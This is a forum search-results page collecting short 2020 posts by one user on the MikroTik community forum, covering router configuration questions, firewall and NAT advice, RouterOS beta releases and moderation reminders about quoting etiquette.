Sun Aug 30, 2020 4:51 pm
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

Any possible kind of DoS attack that use this port...
Do you want to limit flooding with NTP port but you do not care about flooding for DNS or SNMP or any other "well known" service?
What is the reason? Flooding is flooding no matter what target and how you flood.
by BartoszP
Sun Aug 30, 2020 11:57 am
Forum: RouterOS v7 BETA
Topic: v7.1beta2 [development] is released!
Replies: 387
Views: 113041

Re: v7.1beta2 [development] is released!

@romas:

Do you REALLY need to quote such a long post? What for?

Please edit it.
by BartoszP
Sun Aug 30, 2020 8:56 am
Forum: General
Topic: Best way to filter NTP port?
Replies: 16
Views: 1624

Re: Best way to filter NTP port?

What kind attack you are writing about? What do you want to limit?
by BartoszP
Fri Aug 28, 2020 11:05 am
Forum: General
Topic: Block Printer for Specific IP in same subnet
Replies: 9
Views: 1312

Re: Block Printer for Specific IP in same subnet

As printer and computers communicate directly so they bypass router therefore you have no control over it but I do it this way.... change IP of a printer to the new one. The old one assign to the router and make DST NAT the old to the new IP. All printers will pass the traffic to the router which wi...
by BartoszP
Fri Aug 28, 2020 2:54 am
Forum: General
Topic: pubg
Replies: 3
Views: 806

Re: pubg

Please, rewrite your question to let us know what are you asking for.
by BartoszP
Thu Aug 27, 2020 10:22 am
Forum: RouterBOARD hardware
Topic: netPower 16P power design flaw
Replies: 14
Views: 2080

Re: netPower 16P power design flaw

... both put out current on the frame ground screw. It's the same voltage that's going in via the DC ports....
Kind question: what is the voltage of the mentioned current"?
by BartoszP
Wed Aug 26, 2020 10:53 pm
Forum: Scripting
Topic: Control bandwidth via Python (or any other languages)
Replies: 6
Views: 931

Re: Control bandwidth via Python (or any other languages)

Any Mikrotik device which manages WiFi traffic.
ROS offers API to control almost all aspects of it so it's up to you to "script it".
by BartoszP
Tue Aug 25, 2020 3:00 pm
Forum: General
Topic: RB4011 and RB1100 AHx4 "bricks" randomly
Replies: 213
Views: 50383

Re: RB4011 and RB1100 AHx4 "bricks" randomly

RB1100AHx4 serving circa 100 person at company branch = Internet + VPNs to main site for NAS access = 110 days uptime RB4011 circa 50 persons + VPN for homeoffice + VPN to branch + normal routing, firewoling etc = 36 days uptime as we have had to power down our company due to power maintenance. Prev...
by BartoszP
Mon Aug 24, 2020 9:44 pm
Forum: RouterOS v7 BETA
Topic: Torrent client
Replies: 59
Views: 23929

Re: Torrent client

Axe or chainsaw are wrong to cut a tree?
by BartoszP
Mon Aug 24, 2020 6:13 pm
Forum: RouterOS v7 BETA
Topic: Torrent client
Replies: 59
Views: 23929

Re: Torrent client

Most of users who need torrent client will not pass further than logging to a router. The next requests will be - do nicer GUI for torrent client as we are not able to use WinBox and WWW GUI is awkward to us as we like .... cklient. - what about browsing files on the router and downloading them to m...
by BartoszP
Mon Aug 24, 2020 3:57 pm
Forum: RouterOS v7 BETA
Topic: Torrent client
Replies: 59
Views: 23929

Re: Torrent client

Have you read this topic? What is torrent client needed in router for?
by BartoszP
Tue Aug 11, 2020 5:14 pm
Forum: General
Topic: Public-Mikrotik-Bandwidth-Test-Server(s)
Replies: 765
Views: 720971

Re: Public-Mikrotik-Bandwidth-Test-Server(s)

do not respam spam
by BartoszP
Fri Aug 07, 2020 9:43 pm
Forum: RouterOS v7 BETA
Topic: v7.1beta1 [development] is released!
Replies: 103
Views: 47389

Re: v7.1beta1 [development] is released!

RB1100AHx4 does not upgrade.
RB1100AHx4b7.1.PNG
by BartoszP
Sun Jul 19, 2020 3:00 pm
Forum: General
Topic: Rogers now has 100G symmetrical Internet
Replies: 17
Views: 4586

Re: Rogers now has 100G symmetrical Internet

What could I say ...CISCO has 100Gb cards for their Nexus line ... price @ 55k$ ...
Who expects that MKT will do it for 55$ or 550$ or even 5500$ to make users happy?
by BartoszP
Tue Jul 07, 2020 11:36 pm
Forum: Beginner Basics
Topic: Hairpin NAT [SOLVED]
Replies: 8
Views: 2599

Re: Hairpin NAT [SOLVED]

If you have 2 servers which both serve web services on the same port then there is no way for router to decide what server send incoming connection traffic to. Harpin just lets to access local resource via external IP from LAN but the problem is the same: which server should receive packets send to ...
by BartoszP
Fri Jul 03, 2020 5:57 pm
Forum: Beginner Basics
Topic: Thank you - Mikrotik Community and Support [SOLVED]
Replies: 2
Views: 1372

Re: Thank you - Mikrotik Community and Support [SOLVED]

...
I changed the Ports with a few clicks and presto no more attacks on the Mikrotik Router.
..
Do not forget that your router is still under attack but packets are dropped or not accepted.
Your line is still full of unwanted traffic scanning for open ports or services.
by BartoszP
Wed Jun 17, 2020 5:42 pm
Forum: General
Topic: request: Bruteforce login prevention checkbox
Replies: 2
Views: 909

Re: request: Bruteforce login prevention checkbox

What is the problem with Ctrl+C and Ctrl+V in CLI?
It is not just a checkbox ... you can tailor linked solution according your configuration, ports, filters etc.
Simple checkbox with noncustimizable rules is not a good solution.
by BartoszP
Mon Jun 08, 2020 12:07 pm
Forum: Announcements
Topic: Winbox v3.24 released!
Replies: 106
Views: 67483

Re: Winbox v3.24 released!

Could rules' icons be grayed out when rules are disabled to be consistent with grayed out text?
When you look at them you are fooled that they are active even rules are not,
by BartoszP
Sun Jun 07, 2020 2:18 pm
Forum: General
Topic: 802.11ac Wave2 Support?
Replies: 60
Views: 27816

Re: 802.11ac Wave2 Support?

@mozerd ... what is the need to quote "previous post" just write "nice post"?
Do you know the funcionality of "post reply" button?
by BartoszP
Sun Jun 07, 2020 1:28 pm
Forum: RouterOS v7 BETA
Topic: UI/UX On WinBox
Replies: 23
Views: 5925

Re: UI/UX On WinBox

I do services for car service company. They have two walls full of fancy "must have" series professional tools bought from the Corpo. Some of them look like torture machines from the Middle Ages. No discussion about buying as the Corpo knows better. Always. Servicemen use circa 10% of them...
by BartoszP
Fri Jun 05, 2020 2:32 pm
Forum: Announcements
Topic: v6.47 [stable] is released!
Replies: 349
Views: 124500

Re: v6.47 [stable] is released!

Could you please use "Post reply" button instead of quoting whole posts?
Is it so hard?
Do you think that such "quote escalation" helps to understand flow of discussion when you can just scroll one sentence back?
by BartoszP
Tue Jun 02, 2020 3:35 pm
Forum: Announcements
Topic: v6.47 [stable] is released!
Replies: 349
Views: 124500

Re: v6.47 [stable] is released!

The proper word coming to my mind is: IMPRESSIVE :) list of changes.
by BartoszP
Fri May 29, 2020 4:38 pm
Forum: General
Topic: DNS Failover
Replies: 23
Views: 10981

Re: DNS Failover

Could you please use "Post replay" instead of quoting hole previous posts.

We are able to follow the thread ... no need to quote it all the time.
by BartoszP
Thu May 28, 2020 8:21 am
Forum: Beginner Basics
Topic: Backup/Restore to Different Hardware
Replies: 3
Views: 948

Re: Backup/Restore to Different Hardware

Export configuration to a file and then import to the new device.
You have to tailor configuration according to interface names, MAC's etc.
Search the forum for "restore configuration"
by BartoszP
Thu May 28, 2020 7:40 am
Forum: General
Topic: Bloqueo de conexiones persistentes
Replies: 3
Views: 2661

Re: Bloqueo de conexiones persistentes

Anav:

Rules should be obeyed.

Do you volunteer to translate posts instead of all lazy OP?
by BartoszP
Wed May 20, 2020 5:54 pm
Forum: Forwarding Protocols
Topic: ISP default route and internal network OSPF
Replies: 2
Views: 1067

Re: ISP default route and internal network OSPF

IMHO you should set "distance" for ISP interfaces in your local routing tables to number higher than expected "distance" of default router received from OSPF. With no OSPF information the only one route will be ISP interface and when OSPF is connected the default route will be sw...
by BartoszP
Wed May 20, 2020 5:33 pm
Forum: Beginner Basics
Topic: Vendor question
Replies: 8
Views: 1731

Re: Vendor question

Upgrade, reset to the default configuration and then compare.
Or reset to "no-default-configuration" and start configuring from scratch.
by BartoszP
Tue May 12, 2020 4:23 am
Forum: RouterBOARD hardware
Topic: Just going to leave this here...
Replies: 162
Views: 45205

Re: Just going to leave this here...

I think more people would want a couple 40G ports at home than 12x 10G.
vortex ... please do not treat us as fools and please do not lie ... once more i see such a comment and you will be banned
by BartoszP
Tue May 12, 2020 3:37 am
Forum: RouterBOARD hardware
Topic: Just going to leave this here...
Replies: 162
Views: 45205

Re: Just going to leave this here...

vortex.

Last call ... PLEASE DO STOP throwing everywhere comments that 10+ Gb ports are a common need at homes ....
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